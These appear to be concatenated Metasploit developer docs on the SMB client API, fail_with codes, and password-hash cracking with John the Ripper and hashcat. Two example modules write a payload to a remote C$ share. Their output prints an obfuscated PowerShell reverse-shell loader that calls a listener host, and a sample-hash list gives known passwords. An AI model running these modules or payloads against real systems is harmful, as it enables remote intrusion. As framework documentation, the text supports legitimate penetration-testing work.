```ruby
connect(versions: [2, 3])
```
The default is to negotiate versions 1, 2 and 3. Note that the client will just let the SMB server know which versions and dialects it supports. The server will always choose the latest version it supports. This means, Windows 7 will always choose SMB v2.1 (SMB3 has been added to Windows 8 only), even if versions 1, 2 and 3 are advertised by the client. If SMB2 is disabled on this host for whatever reason, the SMB server will fall back to SMB1. By choosing which versions the client must negotiate, you can force the server to use a specific protocol version, assuming it is supported and enabled.
From Metasploit 6, the MSF client uses RubySMB under the hood by default for any SMB protocol version. For compatibility with older modules, it is still possible to force the client to use the original Rex SMB implementation. Note that this is **not recommended** and RubySMB should be the default for new modules. This can be done by explicitly negotiate SMB1 only (Rex only supports this version):
```ruby
connect(versions: [1])
```
2. **NetBIOS session, negotiation and authentication**
The actual negotiation and authentication are handled by `smb_login`. This retrieves the NetBIOS name, user name, password and domain from the `SMBName`, `SMBUser`, `SMBPass` and `SMBDomain` options set by the operator, respectively. Other options can be set and are defined in [MSF SMB client](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/msf/core/exploit/remote/smb/client.rb). Under the hood, `smb_login` establishes the NetBIOS session (if needed), negotiates the protocol version/dialect and sets the SMB Session up using NTLM challenge-response authentication protocol.
If, for whatever reason, the authentication options cannot be retrieved from the user options, it is still possible to provide them manually by calling `simple.login()` directly (see [SimpleClient#login](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/rex/proto/smb/simple_client.rb#L55))
```ruby
simple.login(name, user, pass)
```
Note that `simple` is the `Rex::Proto::SMB::SimpleClient` object and is accessible anywhere in the module. This is the main interface to interact with RubySMB (more on that later).
3. **Connect to a share**
This is done by invoking `simple.connect`:
```ruby
simple.connect("\\\\<host>\\<share>")
```
4. **File operations**
* read a file
```ruby
file_path = 'file/path/relative/to/the/share/root'
file = smb_open(file_path, 'o')
print_status("File content: #{file.read}")
file.close
```
See [SimpleClient#open](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/rex/proto/smb/simple_client.rb#L189) and [RubySMB::Dispositions](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/dispositions.rb) for details about the `smb_open` mode argument.
* write to a file
```ruby
file = smb_open(file_path, 'co', write: true)
file << "my file data"
file.close
```
* delete a file
```ruby
simple.delete(file_path)
```
5. **Close the connection to the remote share**
```ruby
simple.disconnect("\\\\<host>\\<share>")
```
Since Metasploit 6, two new options were introduced to control version negotiation and encryption. These options are only available when using the default MSF SMB client and are automatically pulled in with `Msf::Exploit::Remote::SMB::Client` or `Msf::Exploit::Remote::SMB::Client::Authenticated` mixins:
* `SMB::ProtocolVersion`: one or a list of comma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1").
* `SMB::AlwaysEncrypt`: enforces encryption even if the server does not require it (SMB3.x only). When it is set to false, the SMB client will still encrypt the communication if the server requires it.
### Using RubySMB client directly
This mixin is not required but can be useful to expose the SMB related options to the operator:
```ruby
include Msf::Exploit::Remote::SMB::Client::Authenticated
```
An alternative is to register the options we need in `initialize`:
```ruby
register_options([
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
])
```
Following the same workflow described above:
1. **Initialization**
* setup the dispatcher
```ruby
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
```
* initialize the client
SMB versions 1, 2 and 3 will be negotiated by default. Use `smb1`, `smb2` and `smb3` keyword arguments to disable a version (`false` value). See [RubySMB::Client#initialize](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/client.rb#L281) for more initialization options
```ruby
client = RubySMB::Client.new(dispatcher, username: datastore['SMBUser'], password: datastore['SMBPass'], domain: datastore['SMBDomain'])
```
2. **Negotiation**
```ruby
client.negotiate
```
3. **Authentication**
```ruby
client.authenticate
```
4. **Connect to a share**
```ruby
tree = client.tree_connect(\\\\<host>\\<share>)
```
5. **File operations**
```ruby
file_path = 'file/path/relative/to/the/share/root'
```
* read a file (see [RubySMB::SMB1::Tree](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/smb1/tree.rb#L83) and [RubySMB::SMB2::Tree](https://github.com/rapid7/ruby_smb/blob/a8af935d1f4b5fb57fc7c13490ca75bdacf032b9/lib/ruby_smb/smb2/tree.rb#L67) for details)
```ruby
file = tree.open_file(filename: file_path)
data = file.read
file.close
```
* write to a file
```ruby
file = tree.open_file(filename: file_path, write: true, disposition: RubySMB::Dispositions::FILE_OPEN_IF)
file.write(data: 'my data')
file.close
```
* delete a file
```ruby
file = tree.open_file(filename: file_path, delete: true)
file.delete
file.close
```
6. **Close the connection to the remote share**
```ruby
tree.disconnect!
```
7. **Close the SMB session**
```ruby
client.disconnect!
```
## Examples
### Using the default MSF client
`modules/exploits/windows/smb/msf_smb_client_test.rb`
```ruby
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB::Client::Authenticated
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MSF SMB Client Test',
'Description' => %q(
This module simply write, read and delete a file on the remote host
using default MSF SMB client.
),
'License' => MSF_LICENSE,
'Author' => [ 'Christophe De La Fuente' ],
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Windows', {} ]],
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
)
)
end
def exploit
connect
smb_login
share = "\\\\#{rhost}\\C$"
simple.connect(share)
file_path = 'Windows\\Temp\\payload.bat'
print_status("Create and write to #{file_path} on #{share} remote share")
file = smb_open(file_path, 'co', write: true)
file << payload.encode
file.close
print_status("Read #{file_path} on #{share} remote share")
file = smb_open(file_path, 'o')
print_status("File content: #{file.read}")
file.close
print_status("Delete #{file_path} on #{share} remote share")
simple.delete(file_path)
ensure
simple.disconnect(share) if simple
end
end
```
msfconsole output:
```
msf6 exploit(windows/smb/msf_smb_client_test) > options
Module options (exploit/windows/smb/msf_smb_client_test):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.60.128 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass ABCDEFG no The password for the specified username
SMBUser smbuser no The username to authenticate as
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.60.1 yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(windows/smb/msf_smb_client_test) > run
[*] Started reverse SSL handler on 172.16.60.1:4444
[*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
[*] 172.16.60.128:445 - Read Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
[*] 172.16.60.128:445 - File content: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAFzTKl8CA51WXW/bNhR996+48LRaQizCNroOCJBirpJuAbLWqLzlwTAQmrqOtcikR1L+QOL/XlKiLDlO0GV6sUVennvuuR/UTzASG5TznEMItzLVGjnMdvDJ/IxzyVHCO7ika4Q/qEx2rZaxZDoVHH5HHd7ijGUpcg2txxaYx9swuIAvuAm/zv5BpiEc71b4hS7RLGpi7KPCvjImfym8xDnNMx1JTMxOSjNlIDwtczxYjaTY7sgzC7PeWKlsW/ua4qoKrfUIxf6ISrr0y/+TWMuU30+9SCyXlCfd49VYZUzwZ4uXYsMzQZNiNXCYUjBUCpwAS5HkGVqCv/kBlCbpHPzKDYT4L7RnKU/aQbFZnivOZqky8hvJL4zLnfm/JFa1WLAH1IqM2erGWUzfm+f0IFGaSm39Os/FrkvRRcNuyBiutAEs0+GXVPav0ZW4RqnwlPEBupHyl5hHI+eo3f91QPofyIce6be7NgrnulXKp7REurRcS2hiyiwu1gzHml2ZnZKcrZS2S0aDmlJZXIG9wg5Zbip+R+LK1Hf+u97clBR2/UdvbND3EFIFk6Mz33ApNEYodTpPGdX4N83ShNq6i2iWzSh7mAbBC3TIMNcLW7T20FC9pEvQSF4tSB1QU7HJbKdxMp169teWXY+QQc88Tz8/9vZOVORJte1PNG41Qc5EYmv6/HwYR9fXgRX6k7Xx27emOMVGlZMhXmCWgcw5N9ZgZMiVKdA2nIGHfH1u37ht7zOzZjJy2GBiucp1vXnHI7HayfR+ocGPAhj0+r/AnymTQom5hkjIlZCFfASG1qO1VCDROFhjQu74HXf15zQhdlyhX0fX7XXrF3KD/F4vmkVTdW+zbE6q5m1STc6mcGMgrTau88mB59u5Vqc+C3lF2cJwLkEh5YfJUlvVtO3jHw3kgFTRlrOrQgqervlaPGB4tV0ZbZXR+4CyP+7ENynRGcXQMXkuWNwIVmQyICOqF2a187Hzv1O3WaQZ+r6XFj1QHv+GNPHLiu9Crwve0bkAQo7QO8ntlaWPydiE8tol5aaDNSFFiFcu5BrF9Di1VBpobkgVMlfhgJcGz8rKjASr5UkCIKyGbQk++PiuD0/wNddhiQpOiiOoARSCVMBG5B+kADo1yNYS8VBKISe96ZGzButin7AMqfSDlxhcNF9M429bp530n8qnhvlh6zRL5aRxqjOfs1wtDvevG4PuRokyodDFU9+IsRar6ho03xCtw7fDITnuEoTQXT52gHwHT7D+aT8JAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
[*] 172.16.60.128:445 - Delete Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
[*] Exploit completed, but no session was created.
```
### Using RubySMB client directly
`modules/exploits/windows/smb/ruby_smb_client_test.rb`
```ruby
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'RubySMB Client Test',
'Description' => %q(
This module simply write, read and delete a file on the remote host
using default RubySMB client.
),
'License' => MSF_LICENSE,
'Author' => [ 'Christophe De La Fuente' ],
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Windows', {} ]],
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
)
)
register_options([
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
])
end
def exploit
sock = connect
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, username: datastore['SMBUser'], password: datastore['SMBPass'], domain: datastore['SMBDomain'], always_encrypt: false)
client.negotiate
client.authenticate
share = "\\\\#{rhost}\\C$"
tree = client.tree_connect(share)
file_path = 'Windows\\Temp\\payload.bat'
print_status("Create and write to #{file_path} on #{share} remote share")
file = tree.open_file(filename: file_path, write: true, disposition: RubySMB::Dispositions::FILE_OPEN_IF)
file.write(data: payload.encode)
file.close
print_status("Read #{file_path} on #{share} remote share")
file = tree.open_file(filename: file_path)
print_status("File content: #{file.read}")
file.close
print_status("Delete #{file_path} on #{share} remote share")
file = tree.open_file(filename: file_path, delete: true)
file.delete
file.close
ensure
tree.disconnect! if tree
client.disconnect! if client
end
end
```
msfconsole output:
```
msf6 exploit(windows/smb/ruby_smb_client_test) > options
Module options (exploit/windows/smb/ruby_smb_client_test):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.60.128 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass ABCDEFG no The password for the specified username
SMBUser smbuser no The username to authenticate as
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.60.1 yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(windows/smb/ruby_smb_client_test) > run
[*] Started reverse SSL handler on 172.16.60.1:4444
[*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
[*] 172.16.60.128:445 - Read Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
[*] 172.16.60.128:445 - File content: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAA3UKl8CA51WXW/bNhR996+48LRaQizCNroOCJBirpJuAbLWqLzlwTAQmrqOtcikR1L+QOL/XlKiLDlO0GV6sUVennvuuR/UTzASG5TznEMItzLVGjnMdvDJ/IxzyVHCO7ika4Q/qEx2rZaxZDoVHH5HHd7ijGUpcg2txxaYx9swuIAvuAm/zv5BpiEc71b4hS7RLGpi7KPCvjImfym8xDnNMx1JTMxOSjNlIDwtczxYjaTY7sgzC7PeWKlsW/ua4qoKrfUIxf6ISrr0y/+TWMuU30+9SCyXlCfd49VYZUzwZ4uXYsMzQZNiNXCYUjBUCpwAS5HkGVqCv/kBlCbpHPzKDYT4L7RnKU/aQbFZnivOZqky8hvJL4zLnfm/JFa1WLAH1IqM2erGWUzfm+f0IFGaSm39Os/FrkvRRcNuyBiutAEs0+GXVPav0ZW4RqnwlPEBupHyl5hHI+eo3f91QPofyIce6be7NgrnulXKp7REurRcS2hiyiwu1gzHml2ZnZKcrZS2S0aDmlJZXIG9wg5Zbip+R+LK1Hf+u97clBR2/UdvbND3EFIFk6Mz33ApNEYodTpPGdX4N83ShNq6i2iWzSh7mAbBC3TIMNcLW7T20FC9pEvQSF4tSB1QU7HJbKdxMp169teWXY+QQc88Tz8/9vZOVORJte1PNG41Qc5EYmv6/HwYR9fXgRX6k7Xx27emOMVGlZMhXmCWgcw5N9ZgZMiVKdA2nIGHfH1u37ht7zOzZjJy2GBiucp1vXnHI7HayfR+ocGPAhj0+r/AnymTQom5hkjIlZCFfASG1qO1VCDROFhjQu74HXf15zQhdlyhX0fX7XXrF3KD/F4vmkVTdW+zbE6q5m1STc6mcGMgrTau88mB59u5Vqc+C3lF2cJwLkEh5YfJUlvVtO3jHw3kgFTRlrOrQgqervlaPGB4tV0ZbZXR+4CyP+7ENynRGcXQMXkuWNwIVmQyICOqF2a187Hzv1O3WaQZ+r6XFj1QHv+GNPHLiu9Crwve0bkAQo7QO8ntlaWPydiE8tol5aaDNSFFiFcu5BrF9Di1VBpobkgVMlfhgJcGz8rKjASr5UkCIKyGbQk++PiuD0/wNddhiQpOiiOoARSCVMBG5B+kADo1yNYS8VBKISe96ZGzButin7AMqfSDlxhcNF9M429bp530n8qnhvlh6zRL5aRxqjOfs1wtDvevG4PuRokyodDFU9+IsRar6ho03xCtw7fDITnuEoTQXT52gHwHT7D+aT8JAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
[*] 172.16.60.128:445 - Delete Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
[*] Exploit completed, but no session was created.
```
@@ -0,0 +1,48 @@
## On this page
* [Example uses](#example-uses)
* [Comprehensive list of `fail_with` parameters](#comprehensive-list-of-fail_with-parameters)
When a module fails, the `fail_with` method provides a standardized way to describe the reason for the failure. The first parameter depends on the cause of the failure.
## Example uses
`modules/exploits/osx/local/sudo_password_bypass.rb` fails using `Failure::NotVulnerable` if the `check` method does not indicate that the target is vulnerable:
```ruby
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
```
`modules/exploits/multi/http/struts2_namespace_ognl.rb` fails using the `Failure::PayloadFailed` if the target's response does not include a string indicating that the payload successfully executed. Alternatively, if the target responds with an HTTP error, the module invokes `fail_with` using the `Failure::UnexpectedReply` parameter:
```ruby
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
```
## Comprehensive list of `fail_with` parameters
The following are currently used `fail_with` parameters and a brief description of common uses.
| `fail_with` parameter | Reason for failure |
|--------------------------|-----------------------------------------------------------------------|
| Failure::BadConfig | The user-provided parameters are invalid and must be corrected. |
| Failure::Disconnected | The target closed the connection forcibly. |
| Failure::NoAccess | An attempt to authenticate failed, likely due to invalid credentials. |
| Failure::None | The outcome for the module has already been met, for example a privilege escalation is already in an elevated context) |
| Failure::NoTarget | The specified TARGET or PAYLOAD variables are misconfigured or the target environment is unsupported. |
| Failure::NotFound | A preexisting file or resource on target is missing. |
| Failure::NotVulnerable | The target returned a response indicative of being patched or otherwise mitigated. |
| Failure::PayloadFailed | A return code from payload execution indicates the payload did not execute or terminated unexpectedly. |
| Failure::TimeoutExpired | The target did not respond to the connection request in a timely manner. Check RHOSTS and RPORT, then consider increasing WFSDelay. |
| Failure::UnexpectedReply | The target responded in an entirely unexpected way, and may not be running the vulnerable service at all. |
| Failure::Unknown | An entirely unexpected exception occurred, and the target may not be running the expected services at all. |
| Failure::Unreachable | The host or service is not reachable, often indicated by a refused connection or ICMP "unreachable" message. |
@@ -0,0 +1,192 @@
# Intro
This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [here](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners#the-scan-block). Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695).
# Hashes
Many modules dump hashes from various software. Anything from the OS: [Windows](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/hashdump.rb), [OSX](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/hashdump.rb), and [Linux](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/hashdump.rb), to applications such as [postgres](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/postgres/postgres_hashdump.rb), and [oracle](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/oracle/oracle_hashdump.rb). Similar, to the [hash-identifier](https://code.google.com/archive/p/hash-identifier/) project, Metasploit includes a library to identify the type of a hash in a standard way. [identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb) can be given a hash, and will return the `jtr` type. Metasploit standardizes to [John the Ripper](https://www.openwall.com/john/)'s types. While you may know the hash type being dumped already, using this library will help standardize future changes.
## Hash Identify Example
In this first, simple, example we will simply show loading the library and calling its function.
```
require 'metasploit/framework/hashes/identify'
puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/"
# note, bad hashes return an empty string since nil is not accepted when creating credentials in msf.
puts identify_hash "This_is a Fake Hash"
puts identify_hash "_9G..8147mpcfKT8g0U."
```
In practice, we receive the following output from this:
```
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> require 'metasploit/framework/hashes/identify'
=> false
>> puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/"
md5
=> nil
>> puts identify_hash "This_is a Fake Hash"
=> nil
>> puts identify_hash "_9G..8147mpcfKT8g0U."
des,bsdi,crypt
```
## Crackers
### Differences Between Hashcat vs JtR
This section will cover the differences between the two crackers. This is not a comparison of speed, or why one may work better in a specific case than another.
### General Settings
| Description | JtR | hashcat |
|-----------------|------------------|---------------------|
| session | `--session` | `--session` |
| no logging | `--no-log` | `--logfile-disable` |
| config file | `--config` | (n/a) |
| previous cracks | `--pot` | `--potfile-path` |
| type of hashes | `--format` | `--hash-type` |
| wordlist | `--wordlist` | (last parameter) |
| incremental | `--incremental` | `--increment` |
| rules | `--rules` | `--rules-file` |
| max run time | `--max-run-time` | `--runtime` |
| show results | `--show` | `--show` |
### Hash Setting
| Hash | JtR | [hashcat](https://hashcat.net/wiki/doku.php?id=example_hashes) |
|-----------------------------|-------------------------|--------------------|
| List formats | `john --list=formats` `john --list=format-all-details` | `hashcat -h` |
| | | |
| cram-md5 | hmac-md5 | 10200 |
| des | descrypt | 1500 |
| md5 (crypt is $1$) | md5crypt | 500 |
| sha1 | | 100 |
| bsdi | bsdicrypt | 12400 |
| sha256 | sha256crypt | 7400 |
| sha512 | sha512crypt | 1800 |
| blowfish | bcrypt | 3200 |
| lanman | lm | 3000 |
| NTLM | nt | 1000 |
| mssql (05) | mssql | 131 |
| mssql12 | mssql12 | 1731 |
| mssql (2012/2014) | mssql05 | 132 |
| oracle (10) | oracle | 3100 |
| oracle 11 | oracle11 | 112 |
| oracle 12 | oracle12c | 12300 |
| postgres | dynamic_1034 | 12 |
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| sha512($p.$s) - vmware ldap | dynamic_82 | 1710 |
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
| NetNTLMv1 | netntlm | 5500 |
| NetNTLMv2 | netntlmv2 | 5600 |
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
### Cracker Modes
Each crack mode is a set of rules which apply to that specific mode. The idea being any optimizations can be applied to that mode, and reset on other modes. These modes include:
* [Incremental](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L188)
* [Wordlist](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L206)
* [Pin (mobile devices - hashcat specific)](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L222)
* [Normal (jtr specific)](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L234)
* [Single (jtr specific)](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L250)
### Hashcat Optimized Kernel
Hashcat contains a `-O` flag which uses an optimized kernel. From internal testing it looks to be >200% faster, with a password length tradeoff. For more information see <https://github.com/rapid7/metasploit-framework/pull/12790>
### Exporting Passwords and Hashes
Hashes can be exported to three different file formats by using the `creds` command and specifying an output file with the `-o` option. When the file ends in `.jtr` or `.hcat` the John the Ripper or Hashcat formats will be used respectively. Any other file suffix will result in the data being exported in a CSV format.
**Warning:** When exporting in either the John the Ripper or Hashcat formats, any hashes that can not be handled by the formatter will be omitted. See the [Adding a New Hash](#Adding-a-New-Hash) section for details on updating the formatters.
Exported hashes can be filtered by a few fields like the username, and realm. One additional useful field is the hash type which can be specified with the `-t/--type` option. The type can be `password`, `ntlm`, `hash` or any of the John the Ripper format names such as `netntlmv2`.
Example to export all NetNTLMv2 secrets for the WORKGROUP realm for use with John the Ripper: `creds --realm WORKGROUP --type netntlmv2 -o /path/to/netntlmv2_hashes.jtr`
# Example Hashes
Hashcat
* [hashcat.net](https://hashcat.net/wiki/doku.php?id=example_hashes)
JtR
* [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
* [openwall.info](https://openwall.info/wiki/john/sample-hashes)
For testing Hashcat/JtR integration, this is a common list of commands to import example hashes of many different types. When possible the username is separated by an underscore, and anything after it is the password. For example `des_password`, the password for the hash is `password`:
```
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't overide that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
## postgres uses username, so we can't overide that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
## other
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
```
This data breaks down to the following table:
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|-----------|----------|------|----------|------------|------------------------------|-------------------------|
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/jtr_aix auxiliary/analyze/jtr_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/jtr_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/jtr_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/jtr_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/jtr_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/jtr_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/jtr_windows_fast |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/jtr_windows_fast |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
